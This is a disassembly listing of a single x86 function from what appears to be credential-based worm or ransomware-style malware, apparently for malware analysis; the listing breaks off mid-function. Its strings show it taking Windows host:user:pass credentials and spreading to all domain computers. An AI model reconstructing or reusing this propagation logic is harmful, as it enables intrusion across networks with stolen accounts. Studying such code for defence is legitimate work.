Function at 0x101428b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1f8
mov edi, dword [ebp + 8]
mov dword [esp + 0x78], 0x1043790c
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0x80], 0x10387964
mov dword [esp + 0x84], 0
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x10142924
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10142932
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 0x78
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x10142943
push 0x78
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
mov esi, eax
push 0x78
push str.Provide_Windows_credentials._Drag_and_drop_file_or_enter_manually_in_format_host:user:pass_on_new_line_each__optional_:__INFOSPREAD__Windows_Hosts_parsed:_LC
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], 0x78
mov dword [esp + 0x80], 0x78
lea ecx, [esp + 0x1c4]
push 0
lea eax, [esp + 0x7c]
push eax
push ecx
call fcn.10196d20
add esp, 0xc
cmp dword [esp + 0x1c4], 0
jne 0x10142aac
mov dword [esp + 0x78], str._WARNINGSPREAD__No_list_provided._Spreading_to_ALL_domain_computers_via_local_and_embedded_accounts.
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0x80], 0x10387964
mov dword [esp + 0x84], 0
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
mov edi, 4
xor ebx, ebx
xor eax, eax
xor esi, esi
xor ecx, ecx
mov edx, 4
test esi, esi
mov dword [esp + 0x1ac], edx
mov dword [esp + 0x1b0], ecx
mov dword [esp + 0x1dc], edi
mov dword [esp + 0x1e0], eax
mov dword [esp + 0x1b4], esi
mov dword [esp + 0x1e4], ebx
jne 0x1014343b
lea eax, [esp + 0x28]
push 0
push eax
call fcn.101cb360
add esp, 8
cmp dword [esp + 0x28], 0
mov edi, dword [ebp + 8]
mov dword [esp + 0x18], esi
jne 0x101434fa
movsd xmm0, qword [esp + 0x2c]
lea ebx, [esp + 0xf8]
lea eax, [esp + 0x140]
mov dword [esp + 0x78], 0x10437948
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0x140], ebx
mov dword [esp + 0x80], eax
mov dword [esp + 0x144], fcn.10167360
mov dword [esp + 0x84], 1
movsd qword [esp + 0xf8], xmm0
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
push 1
call fcn.1016d750
add esp, 4
jmp 0x10144af7
movsd xmm0, qword [esp + 0x1c4]
mov eax, dword [esp + 0x1cc]
mov dword [esp + 0xe0], 4
mov dword [esp + 0xe4], 0
mov dword [esp + 0x1c], 4
mov dword [esp + 0x20], 0
mov dword [esp + 0xe8], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0xf8], 0xa
movsd qword [esp + 0x1a0], xmm0
mov dword [esp + 0x1a8], eax
mov ecx, dword [esp + 0x1a0]
mov dword [esp + 0xfc], ecx
mov dword [esp + 0x100], eax
mov dword [esp + 0x104], 0
mov dword [esp + 0x108], eax
mov dword [esp + 0x10c], 1
mov dword [esp + 0x110], 0xa
mov dword [esp + 0x114], 0
mov dword [esp + 0x118], eax
mov dword [esp + 0xf4], ecx
mov word [esp + 0x11c], 0
lea ecx, [esp + 0xf8]
call fcn.101373d0
test eax, eax
je 0x1014369b
mov esi, edx
push 1
push 0x1038789f
push edx
push eax
lea eax, [esp + 0x38]
push eax
call fcn.1002b3c0
add esp, 0x14
movsd xmm1, qword [esp + 0x58]
movsd xmm2, qword [esp + 0x50]
movsd xmm0, qword [esp + 0x60]
movsd qword [esp + 0xa8], xmm1
movsd xmm1, qword [esp + 0x48]
movsd qword [esp + 0xa0], xmm2
movsd xmm2, qword [esp + 0x40]
movsd qword [esp + 0xb0], xmm0
movsd qword [esp + 0x98], xmm1
movsd xmm1, qword [esp + 0x38]
movsd qword [esp + 0x90], xmm2
movsd xmm2, qword [esp + 0x28]
movsd qword [esp + 0x88], xmm1
movsd xmm1, qword [esp + 0x30]
movsd qword [esp + 0x78], xmm2
movsd qword [esp + 0x80], xmm1
mov dword [esp + 0xb8], 0
mov dword [esp + 0xbc], esi
mov word [esp + 0xc0], 1
mov dword [esp + 0xc8], 3
lea ecx, [esp + 0xd4]
lea edx, [esp + 0x78]
call fcn.1013fa60
cmp dword [esp + 0xdc], 2
jbe 0x10143778
mov edi, dword [esp + 0xd4]
mov dword [esp + 0x140], 1
mov dword [esp + 0x144], 0
mov dword [esp + 0x148], 0
mov ebx, dword [edi + 4]
mov eax, dword [edi]
test ebx, ebx
je 0x10142cd0
js 0x10143864
mov dword [esp], eax
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x10142cb8
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x101437ed
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov esi, eax
test eax, eax
mov eax, dword [esp]
jne 0x10142cd5
jmp 0x101437ed
mov esi, 1
push ebx
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0xe8]
movsd xmm0, qword [esp + 0x140]
mov eax, dword [esp + 0x148]
cmp edx, dword [esp + 0xe4]
movsd qword [esp + 0x28], xmm0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
jne 0x10142d29
lea ecx, [esp + 0xe0]
call fcn.1013e6f0
mov edx, dword [esp + 0xe8]
mov eax, dword [esp + 0xe0]
movsd xmm0, qword [esp + 0x38]
lea ecx, [edx + edx*2]
inc edx
movsd qword [eax + ecx*8 + 0x10], xmm0
movsd xmm0, qword [esp + 0x28]
movsd xmm1, qword [esp + 0x30]
movsd qword [eax + ecx*8 + 8], xmm1
movsd qword [eax + ecx*8], xmm0
mov dword [esp + 0xe8], edx
mov esi, dword [edi + 0xc]
push 1
push 0x10437d7c
push esi
push dword [edi + 8]
lea edi, [esp + 0x38]
push edi
call fcn.1002b3c0
add esp, 0x14
movsd xmm1, qword [esp + 0x58]
movsd xmm2, qword [esp + 0x50]
movsd xmm0, qword [esp + 0x60]
movsd qword [esp + 0x170], xmm1
movsd xmm1, qword [esp + 0x48]
movsd qword [esp + 0x168], xmm2
movsd xmm2, qword [esp + 0x40]
movsd qword [esp + 0x178], xmm0
movsd qword [esp + 0x160], xmm1
movsd xmm1, qword [esp + 0x38]
movsd qword [esp + 0x158], xmm2
movsd xmm2, qword [esp + 0x28]
movsd qword [esp + 0x150], xmm1
movsd xmm1, qword [esp + 0x30]
movsd qword [esp + 0x140], xmm2
movsd qword [esp + 0x148], xmm1
mov dword [esp + 0x180], 0
mov dword [esp + 0x184], esi
mov word [esp + 0x188], 1
mov esi, dword [esp + 0x170]
mov ecx, edi
lea edx, [esp + 0x140]
call fcn.1013f140
cmp dword [esp + 0x28], 0
je 0x10142e50
mov ecx, dword [esp + 0x180]
mov ebx, dword [esp + 0x2c]
mov eax, dword [esp + 0x30]
add esi, ecx
sub ebx, ecx
mov dword [esp + 0x180], eax
jmp 0x10142e8f
cmp byte [esp + 0x189], 0
jne 0x101437fd
mov byte [esp + 0x189], 1
cmp byte [esp + 0x188], 0
mov esi, dword [esp + 0x180]
mov ebx, dword [esp + 0x184]
jne 0x10142e86
cmp ebx, esi
je 0x101437fd
sub ebx, esi
add esi, dword [esp + 0x170]
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x10142eb7
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10143687
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 0x20
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10143687
mov dword [eax], esi
mov edx, esi
mov dword [eax + 4], ebx
mov ecx, 0x14
lea edi, [esp + 0x28]
lea esi, [esp + 0x140]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x18], eax
cmp byte [esp + 0x71], 0
je 0x10142f60
mov edi, dword [ebp + 8]
mov esi, edx
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 4], 4
test ebx, ebx
je 0x1014323b
js 0x1014386e
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x10142f48
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1014383e
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edi, eax
test eax, eax
jne 0x10143240
jmp 0x1014383e
mov ebx, 1
mov edi, 4
mov dword [esp], eax
jmp 0x10142f8d
mov ecx, dword [esp]
mov eax, edi
mov dword [ecx + ebx*8], esi
mov dword [ecx + ebx*8 + 4], edx
inc ebx
mov edi, eax
mov dword [esp], ecx
cmp byte [esp + 0x71], 0
jne 0x101430a8
mov esi, dword [esp + 0x58]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x28]
call fcn.1013f140
cmp dword [esp + 0xc], 0
je 0x10142fc0
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
add esi, ecx
sub edx, ecx
mov dword [esp + 0x68], eax
cmp ebx, edi
jne 0x10142f70
jmp 0x10142ff5
cmp byte [esp + 0x71], 0
jne 0x101430a6
mov byte [esp + 0x71], 1
cmp byte [esp + 0x70], 0
mov esi, dword [esp + 0x68]
mov edx, dword [esp + 0x6c]
jne 0x10142fe7
cmp edx, esi
je 0x101430a6
sub edx, esi
add esi, dword [esp + 0x58]
cmp ebx, edi
jne 0x10142f70
mov ecx, edi
inc ecx
je 0x10143668
lea eax, [edi + edi]
mov dword [esp], edx
cmp eax, ecx
cmova ecx, eax
mov eax, 4
cmp ecx, 5
cmovb ecx, eax
xor edx, edx
cmp ecx, 0x10000000
lea eax, [ecx*8]
mov dword [esp + 4], ecx
setb dl
mov dword [esp + 8], eax
shl edx, 2
test edi, edi
je 0x1014304f
mov eax, dword [esp + 0x18]
lea ecx, [edi*8]
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], ecx
mov ecx, 4
jmp 0x10143051
xor ecx, ecx
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x134]
lea eax, [esp + 0xc]
push eax
push dword [esp + 0xc]
call fcn.1013e2e0
add esp, 8
cmp dword [esp + 0x134], 0
mov ecx, dword [esp + 0x138]
je 0x10143096
mov edx, dword [esp]
cmp ecx, 0x80000001
jne 0x10143664
mov ecx, dword [esp + 0x18]
jmp 0x10142f73
mov eax, dword [esp + 4]
mov edx, dword [esp]
mov dword [esp + 0x18], ecx
jmp 0x10142f75
mov eax, edi
mov edi, dword [ebp + 8]
cmp ebx, 2
mov dword [esp + 4], eax
ja 0x101438b8
jne 0x1014320a
mov eax, dword [esp + 0x18]
mov edi, 1
mov esi, dword [eax + 0xc]
mov ebx, dword [eax + 8]
test esi, esi
je 0x10143112
js 0x10143d91
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x101430ff
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10143d5b
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edi, eax
test eax, eax
je 0x10143d5b
push esi
push ebx
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x18]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov ebx, 1
mov esi, dword [eax + 4]
mov edi, dword [eax]
test esi, esi
je 0x1014317c
js 0x10143d9e
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x10143169
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10143d6e
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov ebx, eax
test eax, eax
je 0x10143d6e
push esi
push edi
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xdc]
mov dword [esp + 0x140], ebx
mov dword [esp + 0x144], esi
mov dword [esp + 0x148], esi
cmp eax, 2
jbe 0x101434e2
mov eax, dword [esp + 0xd4]
mov esi, dword [eax + 0x14]
mov ebx, dword [eax + 0x10]
mov dword [esp], eax
test esi, esi
je 0x10143337
js 0x10143da8
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x101431f2
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10143d7e
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edi, eax
test eax, eax
jne 0x1014333c
jmp 0x10143d7e
test ebx, ebx
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
je 0x10143828
mov eax, dword [esp + 0x18]
mov esi, dword [eax]
mov ebx, dword [eax + 4]
test ebx, ebx
jne 0x10142f1a
mov edi, 1
push ebx
push esi
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xdc]
mov dword [esp + 0x140], edi
mov dword [esp + 0x144], ebx
mov dword [esp + 0x148], ebx
cmp eax, 2
jbe 0x10143423
mov eax, dword [esp + 0xd4]
mov esi, dword [eax + 0x14]
mov ebx, dword [eax + 0x10]
mov dword [esp], eax
test esi, esi
je 0x101432d0
js 0x10143878
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x101432b2
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10143851
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edi, eax
test eax, eax
jne 0x101432d5
jmp 0x10143851
mov edi, 1
push esi
push ebx
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm0, qword [esp + 0xc]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x148]
lea ecx, [esp + 0x34]
movsd qword [esp + 0x28], xmm0
mov dword [esp + 0x30], eax
mov dword [ecx + 8], edx
mov edx, dword [esp + 0x24]
movsd xmm0, qword [esp + 0x140]
cmp edx, dword [esp + 0x20]
movsd qword [ecx], xmm0
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
jne 0x101433a0
mov edi, dword [ebp + 8]
lea ecx, [esp + 0x1c]
call fcn.1013e460
mov edx, dword [esp + 0x24]
jmp 0x101433a3
mov edi, 1
push esi
push ebx
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm0, qword [esp + 0xc]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x148]
lea ecx, [esp + 0x34]
movsd qword [esp + 0x28], xmm0
mov dword [esp + 0x30], eax
mov dword [ecx + 8], edx
mov edx, dword [esp + 0x24]
movsd xmm0, qword [esp + 0x140]
cmp edx, dword [esp + 0x20]
movsd qword [ecx], xmm0
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
jne 0x101433a0
mov edi, dword [ebp + 8]
lea ecx, [esp + 0x1c]
call fcn.1013e460
jmp 0x10143331
mov edi, dword [ebp + 8]
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x48]
lea ecx, [edx + edx*8]
inc edx
cmp dword [esp + 4], 0
mov dword [eax + ecx*4 + 0x20], esi
movsd xmm0, qword [esp + 0x40]
movsd qword [eax + ecx*4 + 0x18], xmm0
movsd xmm0, qword [esp + 0x38]
movsd qword [eax + ecx*4 + 0x10], xmm0
movsd xmm0, qword [esp + 0x28]
movsd xmm1, qword [esp + 0x30]
movsd qword [eax + ecx*4 + 8], xmm1
movsd qword [eax + ecx*4], xmm0
mov dword [esp + 0x24], edx
je 0x101433ff
push dword [esp + 0x18]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xd8], 0
je 0x10142b70
push dword [esp]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10142b70
push 0x10437da0
push eax
push 2
mov edi, dword [ebp + 8]
call fcn.100273d0
add esp, 0xc
jmp 0x10144af7
lea ecx, [ebx*4]
mov dword [esp + 0x78], edi
mov dword [esp + 0x7c], eax
mov dword [esp], edi
mov dword [esp + 0x80], edi
mov dword [esp + 0x18], esi
mov dword [esp + 8], ebx
lea ecx, [ecx + ecx*8]
mov dword [esp + 4], ecx
add ecx, edi
mov edi, dword [ebp + 8]
mov dword [esp + 0x84], ecx
mov eax, dword [edi + 4]
mov esi, dword [edi + 8]
sub eax, esi
cmp eax, ebx
jae 0x1014348b
mov edx, esi
mov ecx, edi
push ebx
call fcn.1013e7a0
add esp, 4
mov esi, dword [edi + 8]
lea eax, [esi + esi*8]
shl eax, 2
add eax, dword [edi]
push dword [esp + 4]
mov ebx, dword [esp + 4]
push ebx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 8]
mov dword [esp + 0x84], ebx
add eax, esi
mov dword [edi + 8], eax
lea ecx, [esp + 0x78]
call fcn.1013d010
movsd xmm0, qword [esp + 0x1ac]
mov eax, dword [esp + 0x1b4]
xor ebx, ebx
movsd qword [esp + 0x190], xmm0
mov dword [esp + 0x198], eax
jmp 0x10143516
push 0x10437d80
push eax
push 2
mov edi, dword [ebp + 8]
call fcn.100273d0
add esp, 0xc
jmp 0x10144af7
mov eax, dword [esp + 0x30]
movsd xmm0, qword [esp + 0x28]
mov bl, 1
mov dword [esp + 0x198], eax
movsd qword [esp + 0x190], xmm0
call fcn.10170d90
mov esi, eax
sub esp, 4
push 0
call fcn.10164d90
add esp, 8
lock inc dword [eax]
jg 0x10143533
ud2
mov dword [esp + 8], eax
mov eax, dword [0x1044f00c]
mov dword [esp + 0x80], 2
mov dword [esp + 0x90], 0
mov dword [esp + 0x78], 1
mov dword [esp + 0x7c], 1
movzx eax, byte [eax]
push 4
push 0x1c
call fcn.10001510
add esp, 8
test eax, eax
jne 0x10143586
push 0x1c
push 4
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
mov ecx, dword [esp + 0x90]
mov edi, eax
mov dword [edi + 0x18], ecx
movsd xmm0, qword [esp + 0x88]
movsd qword [edi + 0x10], xmm0
movsd xmm0, qword [esp + 0x78]
movsd xmm1, qword [esp + 0x80]
movsd qword [edi + 8], xmm1
movsd qword [edi], xmm0
lock inc dword [edi]
jle 0x1014352f
push 0
call fcn.10167fb0
add esp, 4
test eax, eax
je 0x101435d8
lock inc dword [eax]
jle 0x1014352f
mov dword [esp + 4], eax
push eax
mov dword [esp + 4], ebx
call fcn.10167fb0
add esp, 4
test eax, eax
je 0x101435f9
lock dec dword [eax]
jne 0x101435f9
mov ecx, eax
call fcn.1013e2a0
mov eax, dword [esp + 8]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], edi
mov eax, dword [edi + 0x18]
test eax, eax
je 0x10143620
add eax, 8
push eax
call fcn.101641e0
add esp, 4
mov eax, dword [esp + 0x30]
movsd xmm0, qword [esp + 0x28]
mov dword [esp + 0x80], eax
mov eax, dword [0x1044f00c]
movsd qword [esp + 0x78], xmm0
movzx eax, byte [eax]
push 4
push 0xc
call fcn.10001510
add esp, 8
test eax, eax
jne 0x1014392d
push 0xc
push 4
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
test ecx, ecx
jne 0x10143672
call fcn.1001ac40
jmp 0x10144af7
push dword [esp + 0x13c]
push ecx
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
push 0x20
push 4
mov edi, dword [ebp + 8]
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
mov eax, dword [esp + 0xe8]
movsd xmm0, qword [esp + 0xe0]
cmp dword [esp + 0x1a4], 0
movsd xmm1, qword [esp + 0x1c]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x24]
movsd qword [esp + 0x28], xmm0
movsd qword [esp + 0x34], xmm1
mov dword [esp + 0x3c], eax
je 0x101436e8
push dword [esp + 0xf4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 0x30]
lea edx, [esp + 0x34]
movsd xmm0, qword [esp + 0x28]
mov eax, dword [edx + 8]
movsd xmm1, qword [edx]
test ecx, ecx
mov dword [esp + 0x100], ecx
movsd qword [esp + 0xf8], xmm0
mov dword [esp + 0x18], ecx
mov dword [esp + 0x148], eax
movsd qword [esp + 0x140], xmm1
mov eax, ecx
jne 0x10143885
mov dword [esp + 0x78], str._FATALSPREAD__Provided_Windows_credentials_list_is_empty_
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0x80], 0x10387964
mov dword [esp + 0x84], 0
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
push 1
call fcn.1016d750
add esp, 4
jmp 0x10144af7
mov dword [esp + 0x28], str._FATALSPREAD__Credentials_are_in_wrong_format_
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], 0
mov dword [esp + 0x30], 0x10387964
mov dword [esp + 0x34], 0
lea esi, [esp + 0x28]
push esi
call fcn.100748a0
add esp, 4
mov dword [esp + 0x28], 0x104376b4
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], 0
mov dword [esp + 0x30], 0x10387964
mov dword [esp + 0x34], 0
push esi
call fcn.100748a0
add esp, 4
push 1
call fcn.1016d750
add esp, 4
jmp 0x10144af7
push ebx
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 4], 0
mov dword [esp + 0x18], 4
push 0x10437d90
push 0
push 0
call fcn.100273d0
add esp, 0xc
jmp 0x10144af7
push ebx
push 1
mov edi, dword [ebp + 8]
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
push esi
push 1
mov edi, dword [ebp + 8]
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
call fcn.1001ac40
jmp 0x10144af7
call fcn.1001ac40
jmp 0x10144af7
mov edi, dword [ebp + 8]
call fcn.1001ac40
jmp 0x10144af7
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
push 1
push pe_nt_image_headers32
call fcn.10001510
add esp, 8
test eax, eax
jne 0x10143af2
push pe_nt_image_headers32
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
mov dword [esp + 0x28], str._FATALSPREAD__Credentials_are_in_wrong_format_
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], 0
mov dword [esp + 0x30], 0x10387964
mov dword [esp + 0x34], 0
lea esi, [esp + 0x28]
push esi
call fcn.100748a0
add esp, 4
mov dword [esp + 0x28], 0x10437e04
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], 0
mov dword [esp + 0x30], 0x10387964
mov dword [esp + 0x34], 0
push esi
call fcn.100748a0
add esp, 4
push 1
call fcn.1016d750
add esp, 4
jmp 0x10144af7
mov ecx, dword [esp + 0x30]
mov dword [eax + 8], ecx
movsd xmm0, qword [esp + 0x28]
movsd qword [eax], xmm0
lea ecx, [esp + 0x140]
push 0x10387f18
push eax
push esi
mov esi, ecx
push ecx
call fcn.1017d430
add esp, 0x10
movzx ebx, byte [esp + 0x140]
cmp ebx, 4
jne 0x10143db5
mov eax, dword [esp + 0x144]
mov ecx, dword [esp + 8]
mov dword [esp + 0x1b8], ecx
mov dword [esp + 0x1c0], eax
mov dword [esp + 0x1bc], edi
push esi
call fcn.10082650
add esp, 4
cmp dword [esp + 0x140], 0
jne 0x10143e38
lea edi, [esp + 0x1e8]
push edi
call fcn.10196300
add esp, 4
mov dword [esp + 0x78], 4
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
lea eax, [esp + 0x78]
push eax
lea eax, [esp + 0x1c8]
push eax
call fcn.101964f0
add esp, 8
mov eax, dword [esp + 0x198]
movsd xmm0, qword [esp + 0x190]
movsd xmm2, qword [esp + 0x1e8]
movsd xmm1, qword [esp + 0x1c4]
mov dword [esp + 0x148], eax
mov eax, dword [ebp + 8]
movsd qword [esp + 0x140], xmm0
movsd xmm0, qword [eax]
mov eax, dword [eax + 8]
mov dword [esp + 0x154], eax
mov eax, dword [esp + 0x1f0]
movsd qword [esp + 0x14c], xmm0
movsd qword [esp + 0x158], xmm2
mov dword [esp + 0x160], eax
mov eax, dword [esp + 0x1cc]
movsd qword [esp + 0x164], xmm1
mov dword [esp + 0x16c], eax
lea eax, [esp + 0x1a0]
push esi
push eax
call fcn.10144f60
add esp, 8
mov eax, dword [esp + 0x1a0]
test eax, eax
mov dword [esp + 0x1d4], eax
jne 0x1014409d
movsd xmm0, qword [esp + 0x1a4]
lea esi, [esp + 0xf8]
lea eax, [esp + 0x28]
mov dword [esp + 0x78], 0x10437bcc
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0x28], esi
mov dword [esp + 0x80], eax
mov dword [esp + 0x2c], fcn.10167360
mov dword [esp + 0x84], 1
movsd qword [esp + 0xf8], xmm0
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
push 1
call fcn.1016d750
add esp, 4
jmp 0x10144af7
mov edx, dword [esp + 0xf8]
lea ecx, [esp + 0x78]
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], pe_nt_image_headers32
mov dword [esp + 0xc], ecx
mov byte [eax], 0x5b
mov esi, dword [edx]
mov edi, dword [edx + 8]
mov byte [eax + 1], 0x7b
lea eax, [esp + 0xc]
mov dword [esp + 4], edx
mov dword [esp + 0x80], 2
mov dword [esp + 0x28], eax
mov byte [esp + 0x2c], 1
mov edx, str.hostnameipinternal_error:_entered_unreachable_code_usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_serde_json_1.0.105_src_ser.rs
lea ecx, [esp + 0x28]
push edi
push esi
push 8
call fcn.1013f530
add esp, 0xc
mov ebx, eax
test eax, eax
jne 0x1014405a
mov eax, dword [esp + 4]
mov edx, 0x103877d8
lea ecx, [esp + 0x28]
push dword [eax + 0x14]
push dword [eax + 0xc]
push 2
call fcn.1013f530
add esp, 0xc
mov ebx, eax
test eax, eax
jne 0x1014405a
cmp byte [esp + 0x2c], 0
je 0x10143ba9
mov eax, dword [esp + 0x28]
mov esi, dword [eax]
mov edx, dword [esi + 8]
cmp dword [esi + 4], edx
jne 0x10143b9f
mov ecx, esi
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov byte [eax + edx], 0x7d
inc edx
mov dword [esi + 8], edx
cmp dword [esp + 0x18], 1
jne 0x10143f69
mov esi, dword [esp + 0xc]
mov edx, dword [esi + 8]
cmp dword [esi + 4], edx
jne 0x10143bcf
mov ecx, esi
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov byte [eax + edx], 0x5d
inc edx
mov dword [esi + 8], edx
mov eax, dword [esp + 0x78]
mov ebx, dword [esp + 0x7c]
test eax, eax
je 0x10144073
mov ecx, dword [esp + 0x80]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x78], 0x10437c70
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0x1013e980
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 1
mov dword [esp + 0x30], ecx
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
cmp dword [esp + 0x2c], 0
je 0x10143c63
push dword [esp + 0x28]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
push 1
push pe_nt_image_headers32
call fcn.10001510
add esp, 8
test eax, eax
je 0x101438a4
mov edx, dword [esp + 0x148]
mov ecx, dword [esp + 0x140]
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], pe_nt_image_headers32
mov dword [esp], ecx
lea ecx, [esp + 0x78]
test edx, edx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov byte [eax], 0x5b
mov ecx, edx
jne 0x1014423a
mov ecx, 2
mov esi, pe_nt_image_headers32
mov byte [eax + 1], 0x5d
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x2c], esi
mov dword [esp + 0x78], 0x10437cb0
mov dword [esp + 0x7c], 1
mov dword [esp + 0x30], ecx
mov dword [esp + 0x88], 0
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
